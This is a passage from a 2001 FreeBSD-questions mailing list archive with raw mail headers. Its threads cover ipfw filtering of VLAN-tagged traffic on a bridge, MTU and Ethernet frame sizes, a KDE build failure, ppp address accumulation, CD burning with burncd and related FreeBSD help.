firewall > > between 2 points on a 802.1q tagged vlan trunk. > > > > I am bridging the interfaces using the BRIDGING option in the kernel and > > I am using ipfw to filter pakets. > > > > The bridge and ipfw work fine with normal pakets but the ones with > > 802.1q tages slip right on by. > > > > is there any way to do this? > > > > I have tried bridging the vlans them selfs with no luck. > > Hi Richard, > > Do you have the following line in your kernel config file? > > pseudo-device vlan 2 > > Also, what is the MTU on the fxps? > > HTH, > > Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 15:26:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 3813637B405; Sat, 24 Nov 2001 15:26:11 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1098) id BC05A81D01; Sat, 24 Nov 2001 17:26:05 -0600 (CST) Date: Sat, 24 Nov 2001 17:26:05 -0600 From: Bill Fumerola To: "S y N > <" Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 3.5.1 Message-ID: <20011124172605.H81711@elvis.mu.org> Reply-To: freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from s_y_n_x@hotmail.com on Sat, Nov 24, 2001 at 05:08:16PM -0600 X-Operating-System: FreeBSD 4.4-FEARSOME-20010909 i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [ moved to -questions from -arch ] On Sat, Nov 24, 2001 at 05:08:16PM -0600, S y N > < wrote: > I Am Looking For A List Of Supported Hardware For FreeBSD 3.5.1, If It Is At > All Possible Would You Either Be Able To Send Me An Attached File In A Reply > Or A Link To Where I Can Find A Printable List Of The Supported Hardware This Is The Wrong Mailing List To Ask Questions On. Please E-mail Questions@Freebsd.Org With Basic Freebsd Questions Or Read: http://www.freebsd.org/releases/3.5R/notes.html This Page Lists The Supported Hardware For 3.5-Release. Since 3.5.1-Release Is A Security Update For 3.5-Release, The Supported Hardware Is The Same. -- - bill fumerola / fumerola@yahoo-inc.com / billf@FreeBSD.org / billf@mu.org - my anger management counselor can beat up your self-affirmation therapist To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 15:27:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ptavv.es.net (ptavv.es.net [198.128.4.29]) by hub.freebsd.org (Postfix) with ESMTP id B216B37B405 for ; Sat, 24 Nov 2001 15:27:27 -0800 (PST) Received: from ptavv.es.net (localhost [127.0.0.1]) by ptavv.es.net (8.10.1/8.10.1) with ESMTP id fAONRJd00822; Sat, 24 Nov 2001 15:27:19 -0800 (PST) Message-Id: <200111242327.fAONRJd00822@ptavv.es.net> To: puga@mauibuilt.com Cc: Dru , freebsd-questions@FreeBSD.ORG Subject: Re: IPFW/VLAN In-reply-to: Your message of "Sat, 24 Nov 2001 13:00:22 -1000." <3C002685.AE3A0D1@mauibuilt.com> Date: Sat, 24 Nov 2001 15:27:19 -0800 From: "Kevin Oberman" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Date: Sat, 24 Nov 2001 13:00:22 -1000 > From: Richard Puga > Sender: owner-freebsd-questions@FreeBSD.ORG > > Yes I do have the vlan entry in my kernel. I have tried it with and without. > > The MTU of the fxp cards it set to its new default of 1500 (as of 4.4) and > curiously enough > can not be set higher as the maximum length of an ether net packet is 1518. > > The bridge passes the 802.1q packets just fine and I can view them with > tcpdump. > > it seems that ipfw ignores them, either treating them as a malformed ether > net packet or one that > is not ip.. im not sure that's just a guess.. MTU != Frame size...MTU == Packet size The MTU is a specification of the largest IP packet that may be transmitted over an interface. The MTU does not include the Ethernet framing (6 bytes destination + 6 bytes source + 2 bytes protocol + 4 bytes FCS). Nor does it include any bytes used for an 802.1q VLAN tag. Because some older Ethernet hardware cannot handle the new, extended frame size to allow for 802.1q, you are stuck with reducing the MTU. R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 15:28:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from luftpost.plosh.net (luftpost.plosh.net [204.152.186.181]) by hub.freebsd.org (Postfix) with ESMTP id 7A55937B417; Sat, 24 Nov 2001 15:28:44 -0800 (PST) Received: from tardis.plosh.net (tardis.plosh.net [64.139.14.227]) by luftpost.plosh.net (Postfix) with ESMTP id E238332609; Sat, 24 Nov 2001 15:28:48 -0800 (PST) Date: Sat, 24 Nov 2001 15:28:37 -0800 (PST) From: Peter Losher To: freebsd-questions@freebsd.org Cc: kde@freebsd.org Subject: Compiling KDE v2.2.1 (libxml errors) Message-ID: <20011124151254.M27485-100000@tardis.plosh.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I recently updated X11 from the Xfree86 v3.x that came with FreeBSD 4.x-RELEASE to Xfree86 v4.1.0, and in the process, needed to recompile my install of KDE v2.2.1. When compiling kdelibs2 port, it complains in the middle, then aborts: -=- gmake[3]: Nothing to be done for `all'. gmake[3]: Leaving directory `/usr/ports/x11/kdelibs2/work/kdelibs-2.2.1/kio/file In file included from /usr/local/include/libxml2/libxml/parser.h:576, from /usr/local/include/libxml2/libxml/xmlerror.h:4, from templates.c:18: /usr/local/include/libxml2/libxml/globals.h:70: syntax error before `xmlGenericErrorFunc' /usr/local/include/libxml2/libxml/globals.h:217: syntax error before `xmlGenericError' /usr/local/include/libxml2/libxml/globals.h:217: warning: data definition has no type or storage class gmake[3]: *** [templates.lo] Error 1 gmake[2]: *** [all-recursive] Error 1 gmake[1]: *** [all-recursive] Error 1 gmake: *** [all-recursive-am] Error 2 -=- (I do have the libxml2 port installed) I tried rebuilding the box from scratch this morning (it was overdue for its annual rebuild anyway), and yet I get this same error. I looked at the mail archives, and then GNATS, but to no avail. Is anyone else seeing this? Best Wishes - Peter -- plosher@wwiv.com - [ http://www.plosh.net/ ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 15:29:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id 7185437B417 for ; Sat, 24 Nov 2001 15:29:55 -0800 (PST) Received: from colt.ncptiddische.net (ppp-318.wobline.de [212.68.71.39]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAONTrN12060 for ; Sun, 25 Nov 2001 00:29:53 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAONUst44549 for ; Sun, 25 Nov 2001 00:30:55 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAONTr633397 for ; Sun, 25 Nov 2001 00:29:54 +0100 (CET) (envelope-from nils@tisys.org) Date: Sun, 25 Nov 2001 00:29:53 +0100 (CET) From: Nils Holland To: freebsd-questions@freebsd.org Subject: ppp collecting IP addresses... Message-ID: <20011125002040.K33390-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi folks, I have been using (user) ppp on FreeBSD (now 4.4-STABLE) for years on one of my boxes in order to provide on-demans Internet access to my other machines (using the -auto and -nat options). However, today I noticed something strange, which doesn't look entirely normal to be, but has also never caused problems - at least not that I know. Here's what I'm talking about: When I was routinely changing the configuration of the Ethernet interface on my ppp-enabled machine, I entered "ifconfig" and saw something like that: root@colt> ifconfig ep0: flags=8843 mtu 1500 inet 192.168.0.1 netmask 0xffffff00 broadcast 192.168.0.255 inet6 fe80::210:5aff:feb3:1695%ep0 prefixlen 64 scopeid 0x1 ether 00:10:5a:b3:16:95 media: Ethernet 10baseT/UTP lo0: flags=8049 mtu 16384 inet6 ::1 prefixlen 128 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2 inet 127.0.0.1 netmask 0xff000000 ppp0: flags=8010 mtu 1500 faith0: flags=8000 mtu 1500 tun0: flags=8051 mtu 1500 inet6 fe80::210:5aff:feb3:1695%tun0 prefixlen 64 scopeid 0x5 inet 192.168.0.1 --> 10.0.0.2 netmask 0xffffff00 inet 212.68.69.166 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.5 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.218 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.25 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.9 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.217 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.252 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.58 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.12 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.204 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.219 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.33 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.176 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.235 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.233 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.206 --> 255.255.255.255 netmask 0xffffffff inet 212.68.71.31 --> 255.255.255.255 netmask 0xffffffff inet 212.68.69.151 --> 255.255.255.255 netmask 0xffffffff The list goes on for quite a few lines for the tun0 interface, and that makes me wonder what's going on here. Seems like there are many IP addresses connected to tun0. I do get a dynamic IP address on every dial-in and it seems as if the whole list of IP addresses that have ever been asigned to me is being listed by ifconfig for the tun0 device. But why is that so? Shouldn't there only one IP address be listed, i.e. the one I have been assigned for the current ppp connection? And shouldn't that address be deleted again after hanging up the current connection? Any comments are welcome! Probably there's something wrong with my configuration, but I haven't played with it for quite some years, and interestingly, besides what I posted above, there have never been any noticable problems. Greetings Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 16: 7:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id A3DD637B418 for ; Sat, 24 Nov 2001 16:07:20 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 167mpR-0005g0-00; Sat, 24 Nov 2001 19:07:25 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAP0Dvw78242; Sat, 24 Nov 2001 19:13:59 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Sat, 24 Nov 2001 19:13:57 -0500 (EST) From: Dru X-X-Sender: To: Richard Puga Cc: Subject: Re: IPFW/VLAN In-Reply-To: <3C002685.AE3A0D1@mauibuilt.com> Message-ID: <20011124190207.I78193-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 24 Nov 2001, Richard Puga wrote: > Yes I do have the vlan entry in my kernel. I have tried it with and without. > > The MTU of the fxp cards it set to its new default of 1500 (as of 4.4) and > curiously enough > can not be set higher as the maximum length of an ether net packet is 1518. > > The bridge passes the 802.1q packets just fine and I can view them with > tcpdump. > > it seems that ipfw ignores them, either treating them as a malformed ether > net packet or one that > is not ip.. im not sure that's just a guess.. Hi Richard, Keep the vlan stuff in your kernel as it's needed; the number after the pseudo-device represents how many vlans you want to support. You should then be able to ifconfig each virtual vlan interface. See "man ifconfig" and do a search for vlan as you have to set your vlan tag. An example of the syntax is also given in the updated todo section of number 3 here: http://www.euitt.upm.es/~pjlobo/fbsdvlan.old.html You'll probably have to adjust your ipfw ruleset to accomodate these virtual interfaces so you might want to turn off the firewall first to see if you can pass the traffic, then adjust your ruleset accordingly. Good luck, Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 16:31:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 66DD137B405 for ; Sat, 24 Nov 2001 16:31:20 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.6/8.11.6) with ESMTP id fAP0UrU17879; Sat, 24 Nov 2001 18:30:53 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200111250030.fAP0UrU17879@grumpy.dyndns.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Nils Holland Cc: "Gary W. Swearingen" , Phil R , freebsd-questions@FreeBSD.ORG From: David Kelly Subject: Re: cannot burn a CD with burncd In-reply-to: Message from Nils Holland of "Sat, 24 Nov 2001 22:02:24 +0100." <20011124215725.K32679-100000@jodie.ncptiddische.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 24 Nov 2001 18:30:53 -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Nils Holland writes: > On 24 Nov 2001, Gary W. Swearingen wrote: > > > Nils Holland writes: > > > > > You will need to > > > make an ISO image out of the files you want to burn before you can > > > actually burn them. > > > > I must be disagreeable again. Here's my notes on a raw-file backup and > > verify which I did last January (using afio instead of tar): > > Yes, of course that works. *But* most users seem to expect that the CDs > they burn can be mounted and read from, i.e., they expect their burned CDs > to hehave like "normal" CDs (if that makes sense, but I guess you know > what I mean). People tend to think that they can do Point taken but the original posting wasn't having problems reading, the problem was in writing: Phil R said: > I have those errors on two BSD boxes with two different CDR!!! (Yamaha > 2200 20/10/40 and an old HP) > > #burncd -t -s4 -f /dev/acd0c data something.tar.gz fixate (or > different speed) > > next writeable LBA 0 > writing from file something.tar.gz size 218 KB > written this track 220 KB (100%) total 220 KB > fixating CD, please wait.. > burncd: ioctl(CDRIOCCLOSEDISK): Input/output error Phil, in spite of the write errors, try "tar -tvzf /dev/acd0c" and see if it can read the disk all the way to the end of the file you wrote. And as others have suggested, try wrapping the file in an iso9660 fs to see if that makes any difference. I don't have a clue as to whether or not fixating a disc requires some sort of valid reference into prior data written or exactly what is involved. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 16:47:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id EF1ED37B405 for ; Sat, 24 Nov 2001 16:47:19 -0800 (PST) Received: (qmail 76647 invoked by uid 100); 25 Nov 2001 00:47:19 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15360.16278.975454.486516@guru.mired.org> Date: Sat, 24 Nov 2001 18:47:18 -0600 To: "Kjell" Cc: questions@freebsd.org Subject: Re: Any programs for IP telephony? In-Reply-To: <88836860@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kjell types: > In the Windows world there are several programs that may be used for > voice communication between computers on your local network or over > the internet. Any such programs available in the FreeBSD or Linux > world? The protocol for that is H323. Doing "make search key=H323" in /usr/ports will turn up a number of tools for doing both audio and video conferencing with FreeBSD/Linux. It should even interoperate with MS NetMeeting (I think that's the name of the MS H323 app). http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 16:54:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 1DAD137B416 for ; Sat, 24 Nov 2001 16:54:43 -0800 (PST) Received: (qmail 76776 invoked by uid 100); 25 Nov 2001 00:54:42 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15360.16721.989725.169416@guru.mired.org> Date: Sat, 24 Nov 2001 18:54:41 -0600 To: "Philip Pereira" Cc: questions@freebsd.org Subject: Re: Traditionalist Installation In-Reply-To: <58822972@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Philip Pereira types: > This is a multi-part message in MIME format. > > ------=_NextPart_000_0018_01C174DD.D6988A00 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > Hey Everyone! Hello Masoch! > Am a "newbie" (part of the forum too) and love FreeBSD. I've had it only = > 3 months, but can already re-compile my kernel (am please with myself). First suggestion - you tend to get better responses if you send one copy of the message as plain text, not one as plain text and one as HTML as you did. Worst of all is to send just the HTML, as many spam filters kick such out. > Just a quick question - I want to learn things the traditional way... > Where can I find some FreeBSD compatible applications and how can I > compile / install them on my system (avoiding the ports collection, > etc.) Well, you can always use google and sourceforge. I'd recommend using the ports collection as a database. I.e. - once you find the port, do "make fetch". The tarball will wind up in /usr/ports/distfiles. You can then untar it, try and figure out which file contains the build and install instructions, read through them and otherwise inflict pain on yourself in various ways. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 16:58:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mauibuilt.com (mauibuilt.com [205.166.249.50]) by hub.freebsd.org (Postfix) with ESMTP id 74E3037B405 for ; Sat, 24 Nov 2001 16:58:08 -0800 (PST) Received: from mauibuilt.com (puga@puga.mauibuilt.com [205.166.10.2]) by mauibuilt.com (8.11.6/8.11.6) with ESMTP id fAP0vrP29142; Sat, 24 Nov 2001 14:57:54 -1000 (HST) (envelope-from puga@mauibuilt.com) Message-ID: <3C00420D.71694145@mauibuilt.com> Date: Sat, 24 Nov 2001 14:57:49 -1000 From: Richard Puga Reply-To: puga@mauibuilt.com Organization: Maui Built Machines X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Dru Cc: freebsd-questions@FreeBSD.ORG Subject: Re: IPFW/VLAN References: <20011124190207.I78193-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The vlan traffic passes just fine.. the problem is I cant get ipfw to block it. if I do a tcp dump on fxp0 or fxp1 I see normal paketw with simple 801.1Q #10 in them. its thease packets that ipfw ignores, hence my problem.. Thanks again for your reply Richard Puga puga@mauibuilt.com PS if I do a tcpdump on the vlan interfaces I set up on the bridge I get no traffic.. all the traffic seems to go from fxp0 to fxp1 and if I tell ipfw to block all traffic from fxp0 to fxp1 the 802.1q packets still get through I tried bridging fxp0 to vlan0 and fxp1 to vlan1 and vlan0 to vlan1 yada yada yada.... :) Dru wrote: > On Sat, 24 Nov 2001, Richard Puga wrote: > > > Yes I do have the vlan entry in my kernel. I have tried it with and without. > > > > The MTU of the fxp cards it set to its new default of 1500 (as of 4.4) and > > curiously enough > > can not be set higher as the maximum length of an ether net packet is 1518. > > > > The bridge passes the 802.1q packets just fine and I can view them with > > tcpdump. > > > > it seems that ipfw ignores them, either treating them as a malformed ether > > net packet or one that > > is not ip.. im not sure that's just a guess.. > > > Hi Richard, > > Keep the vlan stuff in your kernel as it's needed; the number after the > pseudo-device represents how many vlans you want to support. > > You should then be able to ifconfig each virtual vlan interface. See "man > ifconfig" and do a search for vlan as you have to set your vlan tag. An > example of the syntax is also given in the updated todo section of number > 3 here: > > http://www.euitt.upm.es/~pjlobo/fbsdvlan.old.html > > You'll probably have to adjust your ipfw ruleset to accomodate these > virtual interfaces so you might want to turn off the firewall first to see > if you can pass the traffic, then adjust your ruleset accordingly. > > Good luck, > > Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 16:58:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 667C037B405 for ; Sat, 24 Nov 2001 16:58:25 -0800 (PST) Received: (qmail 76839 invoked by uid 100); 25 Nov 2001 00:58:20 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15360.16939.977619.120550@guru.mired.org> Date: Sat, 24 Nov 2001 18:58:19 -0600 To: Nils Holland Cc: questions@freebsd.org Subject: Re: cannot burn a CD with burncd In-Reply-To: <44968521@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Nils Holland types: > Having said that, I'd like to add the following: Exactly this very > question where people try to burn "raw", i.e. non-ISOFS'ed files to a CD > and then wonder why their CD doesn't work seems to turn up here at least > once a week and at the most once per day. I'm currently not that > informed about what's actually in the handbook, but could it be that the > usage of burncd, as well as the need to create iso files before burning, > is not really explained there and should be added? Or, is this question in > the FAQ? It surely belongs there, as I have seen only very few questions > being asked more often than this one. Is looking in the handbook a major pain or something? . Of course, that doesn't deal with this specific problem with burncd. If you feel that that belongs in the FAQ, feel free to submit a PR to add it. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. 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rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 167kWs-0000HE-00; Sat, 24 Nov 2001 21:40:06 +0000 Date: Sat, 24 Nov 2001 21:40:06 +0000 From: setantae To: John Smith Cc: FreeBSD Questions Subject: Re: can't do reverse dns with /etc/hosts Message-ID: <20011124214006.GA943@rhadamanth> Mail-Followup-To: setantae , John Smith , FreeBSD Questions References: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <5.1.0.14.0.20011123172728.02c61518@mail.enterit.com> <20011124103734.GB386@irrelevant.org> <3BFFF17E.D2E2F7C1@anarcat.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3BFFF17E.D2E2F7C1@anarcat.dyndns.org> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 02:14:06PM -0500, John Smith wrote: > > > Simon Dick wrote: > > > > I guess my method of just using ping and seeing what IP it tries > > to ping won't be suitable for this? :) > > no because I want to test reverse DNS. ping doesn't lookup the name of a > given address, IIRC. Ok, how about traceroute then ? Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:33:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 20A8437B416 for ; Sat, 24 Nov 2001 17:33:43 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.6/8.11.6) with ESMTP id fAP1XgU18350 for ; Sat, 24 Nov 2001 19:33:42 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200111250133.fAP1XgU18350@grumpy.dyndns.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: questions@FreeBSD.ORG From: David Kelly Subject: I hate HTML email (was: Re: Traditionalist Installation) In-reply-to: Message from Mike Meyer of "Sat, 24 Nov 2001 18:54:41 CST." <15360.16721.989725.169416@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 24 Nov 2001 19:33:42 -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer writes: > > First suggestion - you tend to get better responses if you send one > copy of the message as plain text, not one as plain text and one as > HTML as you did. Worst of all is to send just the HTML, as many spam > filters kick such out. The worstest thing you could do, which I suspect the latest Outlook Express has for default because its getting much more common, is to not only send HTML but to also base64 encode the HTML. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:36:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id E2E1F37B416 for ; Sat, 24 Nov 2001 17:36:25 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id RAA02840; Sat, 24 Nov 2001 17:36:23 -0800 Message-ID: <3C004B18.3070005@owt.com> Date: Sat, 24 Nov 2001 17:36:24 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Peter Losher Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Compiling KDE v2.2.1 (libxml errors) References: <20011124151254.M27485-100000@tardis.plosh.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Peter Losher wrote: > Hi, > > I recently updated X11 from the Xfree86 v3.x that came with FreeBSD > 4.x-RELEASE to Xfree86 v4.1.0, and in the process, needed to > recompile my install of KDE v2.2.1. When compiling kdelibs2 port, it > complains in the middle, then aborts: > > -=- > gmake[3]: Nothing to be done for `all'. > gmake[3]: Leaving directory > 